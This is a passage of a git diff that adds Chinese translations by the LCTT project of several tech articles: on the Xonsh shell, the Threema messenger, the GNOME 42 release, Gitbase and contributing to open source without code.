+译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/clearlinux-gnome-42-home.jpg?w=1269&ssl=1 +[2]: https://news.itsfoss.com/gnome-42-features/ +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/clearlinux-gnome-42.png?w=868&ssl=1 +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/clear-linux-appearance.jpg?w=794&ssl=1 +[5]: https://download.clearlinux.org/releases/36060/clear/RELEASENOTES-36030-to-36060 +[6]: https://download.clearlinux.org/releases/36060/clear/ diff --git a/published/202203/20220323 Xonsh Shell Combines the Best of Bash Shell and Python in Linux Terminal.md b/published/202203/20220323 Xonsh Shell Combines the Best of Bash Shell and Python in Linux Terminal.md new file mode 100644 index 0000000000..8fd036f448 --- /dev/null +++ b/published/202203/20220323 Xonsh Shell Combines the Best of Bash Shell and Python in Linux Terminal.md @@ -0,0 +1,109 @@ +[#]: subject: "Xonsh Shell Combines the Best of Bash Shell and Python in Linux Terminal" +[#]: via: "https://itsfoss.com/xonsh-shell/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14390-1.html" + +Xnosh Shell:在 Linux 终端结合 Bash Shell 和 Python 的最佳特性 +====== + +![](https://img.linux.net.cn/data/attachment/album/202203/24/111824ufw1815lyvclnsr2.jpg) + +最受欢迎的 shell 是什么?我猜你会回答 bash 或者 zsh,没错,的确如此。 + +UNIX 和 Linux 系统上有许多可用的 shell,包括 Bash、Ksh、Zsh、Fish 等等。 + +最近,我碰到了另外一个 shell,它结合了 Python 和 bash,还蛮特别的。 + +### Xonsh shell,为喜爱 Python 的 Linux 用户而打造 + +[Xonsh][1] 是一个使用 Python 编写的跨平台 shell 语言和命令提示符。 + +它结合了 Python 和 Bash shell,因此你可以在这个 shell 中直接运行 Python 命令(语句)。你甚至可以把 Python 命令和 shell 命令混合起来使用。 + +![][2] + +听起来不错吧?如果你是一个 Python 程序员的话,你应该会更加兴奋。 + +### 在 Linux 上安装 Xonsh shell + +有多种方式可以在 Linux 系统上安装 Xonsh shell。 + +你可以使用软件包管理器安装它(主要的 Linux 发行版的仓库中都有 Xonsh shell)。 + +在 Ubuntu 和 Debian 上,你可以尝试运行: + +``` +sudo apt install xonsh +``` + +因为它本质上是一个 Python 应用,所以你总是可以使用 Pip 来安装(如果你的系统已经安装了的话)。或者,你也可以使用 Conda 来安装 Xonsh。同时,它还提供了 AppImage 格式和 Docker 镜像。 + +你可以自由选择你喜欢的安装方式。 + +### Xonsh shell 初体验 + +如果你不熟悉 Linux 的“多 shell”概念和终端的相关知识,我推荐你阅读 [我写的一篇终端入门的文章][3]。这篇文章会帮助 Linux 新手弄清楚很多东西。 + +我在这里简单介绍一下。你的终端运行着一个默认的 shell(通常是 bash shell)。如果你在系统上安装了其他的 shell,你可以 [轻松地切换这些 shell][4]。 + +要进入 Xonsh shell,只需运行一条命令: + +``` +xonsh +``` + +![][5] + +它会建议你运行一个设置向导,然后创建一个 Xonsh shell 的自定义 `rc` 配置文件。这是可选的,你也可以晚些时候再做。 + +一旦你开始使用它,你就立刻会感觉到一些不同。 + +当你开始输入一条命令时,Xonsh 会自动建议历史记录中的最后一条匹配命令。你可以按下右箭头键确认使用这条自动建议的命令。你也可以按下上、下箭头键来选择历史记录中的其他匹配命令。 + +![Xonsh shell automatically suggests last matching command from the history as you type][6] + +不仅如此,它还支持交互式的 Tab 补全。当你开始输入命令,并按下 `tab` 键,它会显示一个类似于下拉式的交互式菜单。你可以在这个菜单中选择可用的命令。 + +![Tab completion in Xonsh shell][7] + +你可以混合使用 Python 和 bash 命令,并且直接在 shell 中运行它们。 + +如果你对 [终端定制][8] 感兴趣,你可以花点时间和精力,根据自己的喜好来定制 Tab 补全、按键绑定和颜色样式。 + +它同时拥有一个叫做 [Xontrib][9] 的用户自定义插件系统,你可以使用这些插件来扩展 Xonsh shell 的功能。 + +如果你是一个终端爱好者,并渴望学习更多终端知识,你可以浏览它的 [丰富的文档系统][10]。 + +### 最后 + +大多数用户坚持使用默认的 Bash shell,这很正常。有一些开发者和系统管理员会选择使用 Zsh,因为它有很多附加特性。而 Xonsh 完全聚焦在 Python 上,对于 Python 使用者来说,它或许具有吸引力。对于其余的人来说,Bash 已经足够好了。 + +你使用过 Xonsh 或者其他的 shell 吗?你用它来代替 Bash 的原因是什么呢?欢迎在评论区留言。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/xonsh-shell/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://xon.sh/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/xonsh-shell-combines-python-bash.png?resize=800%2C470&ssl=1 +[3]: https://itsfoss.com/basic-terminal-tips-ubuntu/ +[4]: https://linuxhandbook.com/change-shell-linux/ +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/xonsh-shell.png?resize=800%2C451&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/auto-suggestions-from-history-in-xonsh-shell.png?resize=800%2C258&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/tab-completion-xonsh-shell.png?resize=800%2C354&ssl=1 +[8]: https://itsfoss.com/customize-linux-terminal/ +[9]: https://github.com/topics/xontrib +[10]: https://xon.sh/tutorial.html diff --git a/published/202203/20220324 7 Reasons to Try Open Source Secure Messenger ‘Threema.md b/published/202203/20220324 7 Reasons to Try Open Source Secure Messenger ‘Threema.md new file mode 100644 index 0000000000..afd351fd61 --- /dev/null +++ b/published/202203/20220324 7 Reasons to Try Open Source Secure Messenger ‘Threema.md @@ -0,0 +1,157 @@ +[#]: subject: "7 Reasons to Try Open Source Secure Messenger ‘Threema’" +[#]: via: "https://news.itsfoss.com/reasons-to-try-threema/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14404-1.html" + +尝试开源的安全通讯软件 Threema 的 7 个理由 +====== + +> Threema 是一个优质的开源通讯软件,专注于安全和隐私,提供了一个去中心的基础设施。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/threema.png?w=1200&ssl=1) + +现在已经有很多私密的 WhatsApp 代替品可供我们选择,Threema 则是其中最好的可选项之一。 + +可是,为什么你要考虑尝试它呢?它是“终极的”安全通讯软件吗? + +怎么说呢,每个安全通讯软件都只满足特定用户群体的需求。所以,把任何开源的通讯软件当作是“终极的”选项,都是不明智的。 + +因此,我列举了一些你或许会想尝试 Threema 而不是其他类似选项的理由。 + +### Threema:背景概览 + +在我开始说明为什么要尝试 [Threema][2] 这款私密通讯软件之前,请允许我再介绍一下它。 + +Threema 是一个流行的安全通讯软件,它由瑞士团队研发,专注于个人隐私。它也是一个付费软件,你需要在 [Play Store][3] 或者 [App Store][4] 上,一次性支付费用(大约 4 美元),才能够在你喜爱的移动设备上使用它。 + +起初,它是一个专有的安全通讯软件,是 [Signal][5] 等其他软件的竞争者。 + +在 2020 年的时候,Threema 决定在 [GitHub][6] 上开源它的所有软件。 + +你可以下载到移动应用,也可以得到 Linux 桌面(包括 Windows 和 macOS)上的支持。遗憾的是,它在桌面上目前没有独立的客户端。 + +因此,你需要让移动设备保持开启状态,才能使用桌面上的 Threema(就和 WhatsApp Web 的工作方式一样)。 + +### 下面是你尝试 Threema 的可能理由 + +如果你正在寻找一个隐私友好的安全通讯软件,并且你的同事/朋友/家人不介意支付一次性费用的话,你可以把它作为一个可选项。 + +支持你这么做的理由包括: + +#### 1. 不需要手机号码 + +![][7] + +和 WhatsApp 不同,你不需要使用手机号码来注册 Threema。当然,你可以选择添加你的手机号码,如果你希望别人能够很快找到你的话。 + +但是,手机号码只是注册 Threema 的一个选填项。如果你不想让别人知道你的手机号码,你可以使用注册时生成的 **Threema ID**(用户名)。 + +这样的话,如果你要和别人交流,你必须分享你的 Threema ID,而不是你的手机号码。 + +值得一提的是,即使在没有 SIM 卡的设备上,它也能完美工作,因为你不必提供手机号码就可以注册成功。 + +#### 2. 开源 + +虽然这是一个显而易见的理由,但它十分重要。 + +我非常重视这一点。如果你想要一个值得信赖的 WhatsApp 替代品,你应该倾向于选择一个开发稳定的开源通讯软件。 + +#### 3. 去中心化的基础设施 + +![][8] + +和大多数主流产品不同,Threema 提供了一个去中心化的基础设施,以确保更好地抵御检查。 + +换句话说,Threema 并不依赖于一个中心服务器架构,也就不会发生“一个错误导致整个网络瘫痪”这种情况。 + +这个错误可能是一次停电,或者是一次检查/限制服务的行动。 + +在这些情况下,Threema 会是更有用和更有效的选择。 + +#### 4. 收费软件 + +它是一个收费软件(一次性付费),这也算是一个好消息吗? + +对于某些人来说,是的。 + +如果你想要寻找一个几乎不可能有垃圾消息的通讯软件,而且你也不想让你的联系人找到你(或是给你发一些你不想要的信息),那么 Threema 就是你的一个完美选项。 + +毕竟,为一个出色的开源解决方案而付费是值得的,对吧? + +#### 5. 可靠的用户界面和特性 + +![Credits: Threema][9] + +Threema 不是一个新产品,它已经开发了好几年了。 + +因此,它能够提供稳定的用户体验,以及一些激动人心的特性,比如说它支持在群聊中发起投票。 + +你可以使用“同意/不同意”选项,以一种静默的方式确认接收方是否收到了消息,而不会触发一个发送给他们的通知。 + +注意,“同意/不同意”的功能只在个人会话中有效。 + +你也可以使用二维码来验证你的联系人身份,以此来避免中间人man-in-the-middle攻击。 + +和其他的安全通讯软件相比,Threema 对平板电脑的支持也不错。 + +![Credits: Threema][10] + +#### 6. 瑞士团队 & 遵守 GDRP 准则 + +你可能会在意,开发团队是否会受到所在国家的司法管辖权和隐私法等限制,那么对你而言,Threema 就是一个理想的私密通讯软件。 + +Threema 受瑞士的法律约束,而众所周知,瑞士的法律是最重视个人隐私的。 + +除此之外,Threema 还提到了它完全遵守 GDRP 准则。如果你在意这一点的话,Threema 是一个不错的选择。 + +#### 7. 在工作中使用 Threema + +![][11] + +有趣的是,Threema 还有另外一个 [独立的版本][11],专注于加强公司内部的通讯安全。 + +所以,如果你需要一个安全通讯平台来作为即时通讯软件的话,Threema 将是一个吸引人的选择。 + +- [试试 Threema][12] + +### 最后,我的看法 + +我已经使用 Threema 很长时间了,我承认我在上面没有很多联系人。 + +但我还是要说,它的用户体验是极佳的,并且我在 iOS 和 Android 端都使用过相当长的时间。 + +因此,Threema 更适合那些不想对任何有关隐私的特性妥协的严肃用户。 + +与此同时,作为一款收费软件,并不是每个人都愿意尝试它。但仔细想想,你将会得到一个可靠的注重隐私的通讯软件,它还是开源的,并且会接受定期的审查。 + +你对这款软件有什么看法?请在评论区分享你的观点吧! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/reasons-to-try-threema/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/private-whatsapp-alternatives/ +[2]: https://threema.ch/en/home +[3]: https://play.google.com/store/apps/details?id=ch.threema.app&hl=en_US&gl=US +[4]: https://apps.apple.com/us/app/threema-the-secure-messenger/id578665578 +[5]: https://itsfoss.com/install-signal-ubuntu/ +[6]: https://github.com/threema-ch +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/threema-phone-number.jpg?w=1200&ssl=1 +[8]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/threema-decentralize-1.jpg?w=1200&ssl=1 +[9]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/threema-ui.jpg?w=1280&ssl=1 +[10]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/threema-tablet.jpg?w=1213&ssl=1 +[11]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/threema-work.png?w=1081&ssl=1 +[12]: https://threema.ch/en diff --git a/published/202203/20220324 GNOME 42 is Here With Dark Mode, New Screenshot UI, and More Exciting Features.md b/published/202203/20220324 GNOME 42 is Here With Dark Mode, New Screenshot UI, and More Exciting Features.md new file mode 100644 index 0000000000..07c2337c45 --- /dev/null +++ b/published/202203/20220324 GNOME 42 is Here With Dark Mode, New Screenshot UI, and More Exciting Features.md @@ -0,0 +1,120 @@ +[#]: subject: "GNOME 42 is Here With Dark Mode, New Screenshot UI, and More Exciting Features" +[#]: via: "https://news.itsfoss.com/gnome-42-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14392-1.html" + +GNOME 42 发布:深色模式、新的截图界面 +====== + +> GNOME 42 终于到来了,它带来了急需的视觉升级和功能改进。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/gnome-42.jpg?w=1200&ssl=1) + +[GNOME 42][17] 是一个有着显著视觉变化的重大升级。 + +GNOME 42 提供了许多必要的改进和急需的升级。现在它已经发布了,就让我们来看看一些关键的亮点吧。 + +### GNOME 42 新特性 + +鉴于我们已经写了一篇 [详细的文章来介绍 GNOME 42 的新特性][1],请允许我在这里挑选其中最重要的几个来介绍。 + +[![][2]](https://youtu.be/du-2QpWbiLU) + +### 1. 深色模式主题和外观调整 + +![][3] + +尽管其他的一些桌面环境已经有了系统级的深色样式偏好设置,然而 GNOME 此前并不支持该功能。 + +在 GNOME 42 中,GNOME 团队从 elementary OS 团队那里获得了灵感(这要归功于 [elementary OS 6][4] 出色的深色模式)。 + +你可以注意到,一个新的“外观Appearance”选项取代了“背景Background”选项,它可以让你在浅色/深色模式间无缝切换。 + +![][5] + +桌面壁纸也有浅色/深色的不同版本,以便在你选择的对应模式时,为你提供最佳的对比度。 + +### 2. 更新的文件夹图标主题 + +GNOME 的文件夹图标主题看起来也太古老了。为了摆脱这种印象,它接收了一些视觉更新,以便在浅色/深色主题下看起来更棒: + +![][6] + +### 3. 新的截图界面 + +新的 GNOME 42 截图的界面是本次发布的最好的特性之一。 + +它不仅仅局限于截图,只要简单切换一下,你就可以用它来录制屏幕。它的用户界面看起来很棒,而且在我最初使用的 Fedora 36(预发布版)中工作良好。 + +![][7] + +### 4. GNOME 应用升级到了 GTK 4 + +为了与 GNOME 42 的总体用户体验保持一致,得益于 [libadwaita][8],默认应用程序获得了彻底的视觉更新。 + +不仅限于用户界面,一些 GNOME 应用本身也获得了新特性。 + +甚至一些第三方的 GNOME 应用,比如 [Fragments 2.0][9],也有了重大改变,以便在 GNOME 42 中提供最佳体验。 + +### 5. 新的文本编辑器和控制台 + +![][10] + +你会注意到,[现代的 GNOME 文本编辑器][11] 取代了广受欢迎的 Gedit,成为了默认的文本编辑器。 + +并且,你再也找不到 GNOME 终端应用了。取而代之的是,现在有了一个新的终端应用,它提供了一些用户界面的增强,名字叫做“控制台Console”。 + +![][12] + +### 其他改进 + +除了视觉变化,新版本的 GNOME 还进行了性能优化和整个平台的细微改进。其中包括了以下升级: + + * 提升了文件检索效率 + * 远程桌面功能现在支持 RDP 协议了 + * GNOME 网页浏览器现在开启了硬件加速 + +你可以在 [官方声明][13] 中了解这个版本的所有变化。 + +### 下载 GNOME 42 + +你可以在 [GNOME OS][14] 上,通过 Boxes 虚拟机来测试 GNOME 42 最新的稳定构建版本,或者你可以下载 [OpenSUSE Tumbleweed][15](应该会在近期发布)。 + +尽管 [Intel 的 Clear Linux 似乎在它的最新版本中增加了 GNOME 42][16],但和 Ubuntu 22.04 长期支持版和 Fefora 36 相比,它并不是一个完美的替代桌面。 + +你也可以尝试附带 GNOME 42 的 Arch,或者等待下个月将发布的 Ubuntu 22.04 长期支持版和 Fedora 36. + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-42-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://linux.cn/article-14267-1.html +[2]: https://i0.wp.com/i.ytimg.com/vi/du-2QpWbiLU/hqdefault.jpg?w=780&ssl=1 +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/fedora-36-gnome-42-dark.jpg?resize=1568%2C882&ssl=1 +[4]: https://news.itsfoss.com/elementary-os-6-features/ +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/gnome-42-dark-mode-wallpaper.jpg?w=1200&ssl=1 +[6]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/gnome-42-file-manager-light.jpg?resize=1568%2C1017&ssl=1 +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/gnome-42-screenshot.jpg?w=1340&ssl=1 +[8]: https://news.itsfoss.com/gnome-libadwaita-library/ +[9]: https://news.itsfoss.com/fragments-2-0-release/ +[10]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/gnome-42-text-editor-alpha.jpg?w=1480&ssl=1 +[11]: https://linux.cn/article-14060-1.html +[12]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/console-screenshot-1.png?w=694&ssl=1 +[13]: https://release.gnome.org/42/ +[14]: https://itsfoss.com/gnome-os/ +[15]: https://get.opensuse.org/tumbleweed +[16]: https://news.itsfoss.com/clear-linux-gnome-42/ +[17]: https://os.gnome.org/ diff --git a/published/202204/20181107 Gitbase- Exploring Git repos with SQL.md b/published/202204/20181107 Gitbase- Exploring Git repos with SQL.md new file mode 100644 index 0000000000..a8ab2cb36f --- /dev/null +++ b/published/202204/20181107 Gitbase- Exploring Git repos with SQL.md @@ -0,0 +1,107 @@ +[#]: subject: "Gitbase: Exploring Git repos with SQL" +[#]: via: "https://opensource.com/article/18/11/gitbase" +[#]: author: "Francesc Campoy https://opensource.com/users/francesc/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14470-1.html" + +Gitbase:使用 SQL 探索 Git 仓库 +====== + +> Gitbase 是一个由 Go 驱动的开源项目,它使得我们可以在 Git 仓库上运行 SQL 查询。 + +![](https://img.linux.net.cn/data/attachment/album/202204/13/230413ddcpm87p2bds18db.jpg) + +Git 已经成为了代码版本控制的事实标准。虽然 Git 已经很流行了,但想用它来对源代码仓库的历史和内容进行深度分析,仍然是一件复杂的事情。 + +另一方面,SQL 则是一个经过实际检验、适合查询大型代码库的的语言,毕竟 Spark 和 BigQuery 等项目都采用了 SQL 作为查询语言。 + +因此,在 source{d} 公司,我们顺理成章地结合了这两种技术来创建了 Gitbase:这是一个用 SQL 对 Git 仓库进行大规模分析的“代码即数据”解决方案。 + +[Gitbase][2] 是一个完全开源的项目,它站在一系列巨人的肩膀上,是它们使 Gitbase 的发展成为可能。本文旨在指出其中的主要部分。 + +![][3] + +*[Gitbase 试验场][4] 提供了一种使用 Gitbase 的可视化方式。* + +### 使用 Vitess 解析 SQL + +Gitbase 将 SQL 作为用户接口。这意味着我们需要解析基于 MySQL 协议传输的 SQL 请求,并理解它们。幸运的是,我们在 YouTube 的朋友和他们的 [Vitess][5] 项目已经实现了这一点。Vitess 是一个数据库集群系统,用于 MySQL 的水平扩展。 + +我们直接截取一些重要的代码片段,并把它做成了一个 [开源项目][6]。这个项目允许任何人在几分钟内编写一个 MySQL 服务器(正如我在 [justforfunc][7] 的专题:[CSVQL - 用 SQL 处理 CSV][8] 中所展示的那样)。 + +### 用 go-git 读取 Git 储存库 + +当成功解析了一个请求,我们还需要读取数据集里的 Git 仓库,才能够知道该如何回复它。为此,我们集成了 source{d} 最成功的仓库 [go-git][9]。go-git 是一个高度可扩展的纯 Go 语言的 Git 实现。 + +这使得我们能够轻松地分析以 [siva][10] 文件格式存储在磁盘上的源代码仓库(siva 也是一个 source{d} 的开源项目),或是直接使用 `git clone` 克隆的仓库。 + +### 使用 Enry 检测编程语言,使用 Babelfish 解析文件 + +Gitbase 并没有将其分析能力局限于 Git 历史记录上。它还使用(显然也是)我们的开源项目 [Enry][11] 集成了语言检测功能,并使用 [Babelfish][12] 实现了程序解析的功能。Babelfish 是一个用于通用源代码解析的自托管服务器,它可以将代码文件转化为通用抽象语法树Universal Abstract Syntax Trees(UAST)。 + +这两个功能在 Gitbase 中呈现为用户函数 `LANGUAGE` 和 `UAST`。结合使用两个函数,许多查询请求都成为了可能,比如“找到上个月修改次数最多的函数名称”。 + +### 让它快速运行 + +Gitbase 经常要分析非常大的数据集,比如公共 Git 档案,其中有来自 GitHub 的 3TB 源代码(见 [公告][13])。为了做到这一点,每份 CPU 处理能力都很重要。 + +这就是为什么我们又集成了另外两个项目:Rubex 和 Pilosa。 + +### 使用 Rubex 和 Oniguruma 加快正则表达式的速度 + +[Rubex][14] 是 Go 的 `regexp` 标准库包的一个准替代品。之所以还不能完成替代,是因为他们没有在 `regexp.Regexp` 类型上实现 `LiteralPrefix` 方法,不过我也是直到现在才听说这个方法。 + +Rubex 的高性能得归功于高度优化的 C 语言库 [Oniguruma][15],它使用 [cgo][16] 来调用这个库。 + +### 使用 Pilosa 索引加快查询速度 + +索引基本上是每个关系型数据库的众所周知的特性,但 Vitess 却没有实现索引,因为它不是真正需要。 + +还好开源的 [Pilosa][17] 再一次拯救了我们,它是一个用 Go 实现的分布式位图索引,使得 Gitbase 可以用于大规模的数据集。Pilosa 是开源的,它极大地加快了对多个海量数据集的查询。 + +### 总结 + +我想通过这篇博文,亲自感谢开源社区,是他们让我们在如此短的时间内创建了 Gitbase,这是谁也没想到的。在 source{d} 公司,我们是开源的坚定信仰者,`github.com/src-d` 下的每一行代码(包括我们的 OKR 和投资者委员会)都可以证明这一点。 + +你想尝试一下 Gitbase 吗?最快、最简单的方法就是使用 source{d} 引擎。从 `sourced.tech/engine` 下载它,只需一个命令就能让 Gitbase 运行起来。 + +想了解更多吗?请查看我在 [Go SF meetup][18] 的演讲录音。 + +这篇文章 [最初发表在][20] Medium 上,经授权后在此重新发布。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/18/11/gitbase + +作者:[Francesc Campoy][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/francesc/ +[b]: https://github.com/lkxed/ +[1]: https://opensource.com/sites/default/files/lead-images/bus_cloud_database.png +[2]: https://github.com/src-d/gitbase +[3]: https://opensource.com/sites/default/files/uploads/gitbase.png +[4]: https://github.com/src-d/gitbase-web +[5]: https://github.com/vitessio/vitess +[6]: https://github.com/src-d/go-mysql-server +[7]: http://justforfunc.com/ +[8]: https://youtu.be/bcRDXAraprk +[9]: https://github.com/src-d/go-git +[10]: https://github.com/src-d/siva +[11]: https://github.com/src-d/enry +[12]: https://github.com/bblfsh/bblfshd +[13]: https://blog.sourced.tech/post/announcing-pga/ +[14]: https://github.com/moovweb/rubex +[15]: https://github.com/kkos/oniguruma +[16]: https://golang.org/cmd/cgo/ +[17]: https://github.com/pilosa/pilosa +[18]: https://www.meetup.com/golangsf/events/251690574/ +[19]: https://youtu.be/OXL2KxOTmBQ +[20]: https://medium.com/sourcedtech/gitbase-exploring-git-repos-with-sql-95ec0986386c diff --git a/published/202204/20190411 How do you contribute to open source without code.md b/published/202204/20190411 How do you contribute to open source without code.md new file mode 100644 index 0000000000..ab9b4d8400 --- /dev/null +++ b/published/202204/20190411 How do you contribute to open source without code.md @@ -0,0 +1,83 @@ +[#]: subject: "How do you contribute to open source without code?" +[#]: via: "https://opensource.com/article/19/4/contribute-without-code" +[#]: author: "Chris Hermansen https://opensource.com/users/clhermansen" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14514-1.html" + +如何以非代码形式贡献开源 +====== + +> 事实上,有无穷无尽的方法来为开源做贡献,其中一个简单的方法就是回答我们的投票问题。 + +![](https://img.linux.net.cn/data/attachment/album/202204/26/190136sd2nmv19m5vn905m.jpg) + +你是如何参与开源贡献的呢?我们组织了一个投票,结果如下: + +* 提交错误报告 - 67 票(35%) +* 解答用户的问题 - 39 票(20%) +* 写作(指南、故事、文档等) - 73 票(38%) +* 其他 - 12 票(6%) + +我的第一次开源贡献可以追溯到 20 世纪 80 年代中期,当时我们的机构第一次连上了 [UseNet][2],在那里我们发现了贡献代码,以及在其开发和支持过程中和别人分享的机会。 + +在今天,我们有无尽的贡献开源的机会。无论是贡献代码,还是制作一个视频教程,都是贡献的一种途径。 + +不过,我将直接跳过整个贡献代码的部分。诚然,我们中有许多写代码但不认为自己是开发者的人,他们也可以 [贡献代码][3]。但是,我更想提醒大家,还存在很多 [非代码形式可以贡献开源][4]。接下来,我会谈到其中的三种。 + +### 提交错误报告 + +有一种重要而具体的贡献形式,它可以被描述为“不要畏惧 [提交一个像样的错误报告][6]”以及 [与此相关的所有后果][5]。有时,要 [提交一个像样的错误报告][6] 是很有挑战性的。比如说: + +* 某些错误可能很难记录或描述。当计算机启动时,屏幕上可能会出现又长又复杂的信息,其中包含各种不能理解的代码。或者屏幕上可能显示有一些“异常行为”,但是却没有提供具体的错误信息。 +* 某些错误可能很难重现。它可能只发生在某些特定的硬件/软件配置上,或者它可能很少被触发,或者错误的产生场景不明确。 +* 某些错误可能与一个非常特殊的开发环境配置有关,但是这个配置庞杂混乱,无法分享,需要先耗费大量精力创建一个精简后的例子才行。 +* 当向发行版报告一个错误时,维护者可能会建议将该错误提交给上游,这有时会需要付出大量的工作,因为发行版所提供的版本不是上游社区感兴趣的主要版本。(当发行版提供的版本落后于官方支持的发布和开发版本时,就会有这种情况发生)。 + +尽管如此,我还是鼓励那些潜在的错误报告者(包括我)继续努力,并尝试让错误得到完整的记录和确认。 + +但如何开始呢?你可以使用你最喜欢的搜索工具寻找类似的错误报告,看看它们是如何描述的,它们被归档在哪里,等等。你也可以留意你使用的发行版(例如,[Fedora][7]、[openSUSE][8]、[Ubuntu][9])或软件包([LibreOffice][10]、[Mozilla][11])的错误报告页面,它们定义了正式的报告机制,你可以按步骤为他们报告相关错误。 + +### 解答用户的问题 + +我潜伏在各种邮件列表和 [论坛][13] 里,偶尔也会冒个泡,例如 [Ubuntu 质量控制团队][12] 和 [论坛][13]、[LinuxQuestions.org][14],以及 [ALSA 用户的邮件列表][15] 等。在这里,我的贡献可能与错误报告的关系不大,更多的是记录复杂的用例。不过,看到有人热心帮助他人,解决他人在某个问题上的遇到的麻烦,对每个人来说,这都是无疑一种很棒的体验。 + +### 从事开源相关的写作 + +最后,另一个我非常喜欢贡献的领域是 [撰写][16] 关于使用开源软件的文章。无论是使用指南,还是对某一特定问题的不同解决方案进行比较评估,或者只是笼统地探索一个感兴趣的领域(就我而言,是使用开源音乐播放软件来享受音乐)。一个类似的选择是制作一个教学视频。你很容易就可以做到边演示一些复杂的桌面操作(比如用 GIMP 创建一个绚丽的标志),边 [录制桌面][17]。而那些精通两种或多种语言的人,也可以考虑将现有的使用指南或视频翻译成另一种语言。 + +(LCTT 译注:读了这篇文章,你是不是想要马上投身于开源贡献呢?那么请考虑加入“Linux 中国翻译组(LCTT)”吧!我们有能帮助你快速上手翻译的 [维基][18],有热心友爱的 QQ 群,你甚至还能够在我们的官网上获得属于自己的译者专页……心动了吗?那就立刻行动起来吧!阅读 [维基][18] 以了解如何加入我们。) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/19/4/contribute-without-code + +作者:[Chris Hermansen][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clhermansen +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/dandelion_blue_water_hand.jpg +[2]: https://en.wikipedia.org/wiki/Usenet +[3]: https://opensource.com/article/19/2/open-science-git +[4]: https://opensource.com/life/16/1/8-ways-contribute-open-source-without-writing-code +[5]: https://producingoss.com/en/bug-tracker.html +[6]: https://opensource.com/article/19/3/bug-reporting +[7]: https://docs.fedoraproject.org/en-US/quick-docs/howto-file-a-bug/ +[8]: https://en.opensuse.org/openSUSE:Submitting_bug_reports +[9]: https://help.ubuntu.com/stable/ubuntu-help/report-ubuntu-bug.html.en +[10]: https://wiki.documentfoundation.org/QA/BugReport +[11]: https://developer.mozilla.org/en-US/docs/Mozilla/QA/Bug_writing_guidelines +[12]: https://wiki.ubuntu.com/QATeam 